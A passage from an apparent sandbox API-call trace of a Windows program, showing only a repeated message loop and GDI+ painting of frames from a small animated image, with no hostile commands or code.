lpMsg=0x15e900) returned 1 [0133.713] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.713] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.713] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0133.713] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0133.713] CreateCompatibleDC (hdc=0x3010b83) returned 0x5d0107cb [0133.713] SelectObject (hdc=0x5d0107cb, h=0x1a05067e) returned 0x185000f [0133.713] GdipCreateFromHDC (hdc=0x5d0107cb, graphics=0x15daf0) returned 0x0 [0133.713] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0133.713] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0133.714] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0133.714] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0133.714] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0133.714] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.714] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0133.714] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.715] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.715] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0133.715] GdipCreateRegion (region=0x15dc20) returned 0x0 [0133.715] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0133.715] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0133.715] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0133.715] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.715] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.715] GetSystemMetrics (nIndex=42) returned 0 [0133.715] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.715] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.715] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.715] CoTaskMemFree (pv=0x1e7ac120) [0133.715] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0133.716] GdipCreateRegion (region=0x15d710) returned 0x0 [0133.716] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0133.716] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0133.716] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0133.716] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0133.716] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.716] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.716] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.717] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0133.717] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.717] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.717] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.717] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.717] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0133.717] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0133.717] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0133.717] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0133.717] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.718] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0133.718] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0133.718] GetCurrentObject (hdc=0x5d0107cb, type=0x1) returned 0x1b00017 [0133.718] GetCurrentObject (hdc=0x5d0107cb, type=0x2) returned 0x1900010 [0133.718] GetCurrentObject (hdc=0x5d0107cb, type=0x7) returned 0x1a05067e [0133.718] GetCurrentObject (hdc=0x5d0107cb, type=0x6) returned 0x18a002e [0133.718] SaveDC (hdc=0x5d0107cb) returned 1 [0133.718] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x67040b8a [0133.718] GetClipRgn (hdc=0x5d0107cb, hrgn=0x67040b8a) returned 0 [0133.718] SelectClipRgn (hdc=0x5d0107cb, hrgn=0xffffffff970407c3) returned 2 [0133.718] DeleteObject (ho=0x67040b8a) returned 1 [0133.718] DeleteObject (ho=0xffffffff970407c3) returned 1 [0133.718] OffsetViewportOrgEx (in: hdc=0x5d0107cb, x=0, y=0, lppt=0x27f35a8 | out: lppt=0x27f35a8) returned 1 [0133.719] GetNearestColor (hdc=0x5d0107cb, color=0xffffff) returned 0xffffff [0133.719] CreateSolidBrush (color=0xffffff) returned 0x6f100190 [0133.719] FillRect (hDC=0x5d0107cb, lprc=0x15d7c0, hbr=0x6f100190) returned 1 [0133.719] DeleteObject (ho=0x6f100190) returned 1 [0133.719] RestoreDC (hdc=0x5d0107cb, nSavedDC=-1) returned 1 [0133.719] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.719] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5d0107cb) returned 0x0 [0133.719] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd080dbd) returned 0x0 [0133.719] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.719] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0133.719] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.719] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.719] GetSystemMetrics (nIndex=42) returned 0 [0133.719] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.720] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.720] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.720] CoTaskMemFree (pv=0x1e7ac120) [0133.720] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1a) returned 0x0 [0133.722] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0133.722] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0133.722] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0133.722] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0133.722] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x5d0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0133.723] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.723] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5d0107cb) returned 0x0 [0133.723] SelectObject (hdc=0x5d0107cb, h=0x185000f) returned 0x1a05067e [0133.723] DeleteDC (hdc=0x5d0107cb) returned 1 [0133.723] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.723] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0133.723] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0133.723] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0133.723] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.723] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.723] WaitMessage () returned 1 [0133.866] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.866] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.866] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0133.866] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.866] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.866] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0133.867] GetCurrentThreadId () returned 0xec0 [0133.867] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0133.867] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.867] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.867] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0133.867] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.867] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.867] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0133.867] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0133.867] CreateCompatibleDC (hdc=0x3010b83) returned 0x5e0107cb [0133.868] SelectObject (hdc=0x5e0107cb, h=0x1a05067e) returned 0x185000f [0133.868] GdipCreateFromHDC (hdc=0x5e0107cb, graphics=0x15daf0) returned 0x0 [0133.868] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0133.868] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0133.868] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0133.868] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0133.868] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0133.868] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.868] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0133.869] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.869] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.869] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0133.869] GdipCreateRegion (region=0x15dc20) returned 0x0 [0133.869] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0133.869] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0133.869] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0133.869] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.869] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.869] GetSystemMetrics (nIndex=42) returned 0 [0133.869] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.869] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.870] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.870] CoTaskMemFree (pv=0x1e7ac120) [0133.870] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0133.870] GdipCreateRegion (region=0x15d710) returned 0x0 [0133.870] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0133.870] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0133.870] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0133.870] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0133.870] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.870] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.871] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.871] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0133.871] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.871] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.872] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.872] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.872] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0133.872] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0133.872] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0133.872] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0133.872] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.872] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0133.872] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0133.872] GetCurrentObject (hdc=0x5e0107cb, type=0x1) returned 0x1b00017 [0133.872] GetCurrentObject (hdc=0x5e0107cb, type=0x2) returned 0x1900010 [0133.872] GetCurrentObject (hdc=0x5e0107cb, type=0x7) returned 0x1a05067e [0133.873] GetCurrentObject (hdc=0x5e0107cb, type=0x6) returned 0x18a002e [0133.873] SaveDC (hdc=0x5e0107cb) returned 1 [0133.873] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff980407c3 [0133.873] GetClipRgn (hdc=0x5e0107cb, hrgn=0xffffffff980407c3) returned 0 [0133.873] SelectClipRgn (hdc=0x5e0107cb, hrgn=0x68040b8a) returned 2 [0133.873] DeleteObject (ho=0xffffffff980407c3) returned 1 [0133.873] DeleteObject (ho=0x68040b8a) returned 1 [0133.873] OffsetViewportOrgEx (in: hdc=0x5e0107cb, x=0, y=0, lppt=0x27f48a8 | out: lppt=0x27f48a8) returned 1 [0133.873] GetNearestColor (hdc=0x5e0107cb, color=0xffffff) returned 0xffffff [0133.873] CreateSolidBrush (color=0xffffff) returned 0x70100190 [0133.873] FillRect (hDC=0x5e0107cb, lprc=0x15d7c0, hbr=0x70100190) returned 1 [0133.874] DeleteObject (ho=0x70100190) returned 1 [0133.874] RestoreDC (hdc=0x5e0107cb, nSavedDC=-1) returned 1 [0133.874] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.874] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5e0107cb) returned 0x0 [0133.874] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd060dbd) returned 0x0 [0133.874] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.874] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0133.874] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.874] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.874] GetSystemMetrics (nIndex=42) returned 0 [0133.874] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.874] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.875] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.875] CoTaskMemFree (pv=0x1e7ac120) [0133.875] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0133.875] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0133.875] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0133.875] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0133.875] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x5e0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0133.876] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.876] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5e0107cb) returned 0x0 [0133.876] SelectObject (hdc=0x5e0107cb, h=0x185000f) returned 0x1a05067e [0133.876] DeleteDC (hdc=0x5e0107cb) returned 1 [0133.876] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.876] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0133.876] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0133.876] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0133.876] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.876] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.877] WaitMessage () returned 1 [0134.024] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.024] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.024] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.024] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.024] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.024] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0134.024] GetCurrentThreadId () returned 0xec0 [0134.024] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0134.024] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.024] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.024] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.024] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.024] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.024] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0134.025] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0134.025] CreateCompatibleDC (hdc=0x3010b83) returned 0x5f0107cb [0134.025] SelectObject (hdc=0x5f0107cb, h=0x1a05067e) returned 0x185000f [0134.025] GdipCreateFromHDC (hdc=0x5f0107cb, graphics=0x15daf0) returned 0x0 [0134.025] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0134.025] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0134.025] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0134.025] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0134.025] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0134.025] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.025] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0134.026] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.026] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.026] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0134.026] GdipCreateRegion (region=0x15dc20) returned 0x0 [0134.026] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0134.026] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0134.026] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0134.026] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.027] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.027] GetSystemMetrics (nIndex=42) returned 0 [0134.027] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.027] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.027] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.027] CoTaskMemFree (pv=0x1e7ac120) [0134.027] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0134.027] GdipCreateRegion (region=0x15d710) returned 0x0 [0134.027] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0134.027] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0134.027] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0134.027] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0134.027] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.027] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.028] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.028] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0134.028] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.028] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.028] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.028] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.028] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0134.028] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0134.029] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0134.029] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0134.029] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.029] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0134.029] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0134.029] GetCurrentObject (hdc=0x5f0107cb, type=0x1) returned 0x1b00017 [0134.029] GetCurrentObject (hdc=0x5f0107cb, type=0x2) returned 0x1900010 [0134.029] GetCurrentObject (hdc=0x5f0107cb, type=0x7) returned 0x1a05067e [0134.029] GetCurrentObject (hdc=0x5f0107cb, type=0x6) returned 0x18a002e [0134.029] SaveDC (hdc=0x5f0107cb) returned 1 [0134.029] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x69040b8a [0134.029] GetClipRgn (hdc=0x5f0107cb, hrgn=0x69040b8a) returned 0 [0134.029] SelectClipRgn (hdc=0x5f0107cb, hrgn=0xffffffff990407c3) returned 2 [0134.029] DeleteObject (ho=0x69040b8a) returned 1 [0134.029] DeleteObject (ho=0xffffffff990407c3) returned 1 [0134.029] OffsetViewportOrgEx (in: hdc=0x5f0107cb, x=0, y=0, lppt=0x27f51e0 | out: lppt=0x27f51e0) returned 1 [0134.030] GetNearestColor (hdc=0x5f0107cb, color=0xffffff) returned 0xffffff [0134.030] CreateSolidBrush (color=0xffffff) returned 0x71100190 [0134.030] FillRect (hDC=0x5f0107cb, lprc=0x15d7c0, hbr=0x71100190) returned 1 [0134.030] DeleteObject (ho=0x71100190) returned 1 [0134.030] RestoreDC (hdc=0x5f0107cb, nSavedDC=-1) returned 1 [0134.030] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.030] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5f0107cb) returned 0x0 [0134.030] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd040dbd) returned 0x0 [0134.030] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.030] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0134.030] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.030] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.030] GetSystemMetrics (nIndex=42) returned 0 [0134.030] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.030] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.031] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.031] CoTaskMemFree (pv=0x1e7ac120) [0134.031] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1c) returned 0x0 [0134.033] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0134.033] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0134.033] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0134.033] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0134.033] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x5f0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0134.033] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.033] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5f0107cb) returned 0x0 [0134.033] SelectObject (hdc=0x5f0107cb, h=0x185000f) returned 0x1a05067e [0134.033] DeleteDC (hdc=0x5f0107cb) returned 1 [0134.034] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.034] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0134.034] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0134.034] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0134.034] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.034] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.034] WaitMessage () returned 1 [0134.195] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.195] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.195] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.196] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.196] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.196] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: 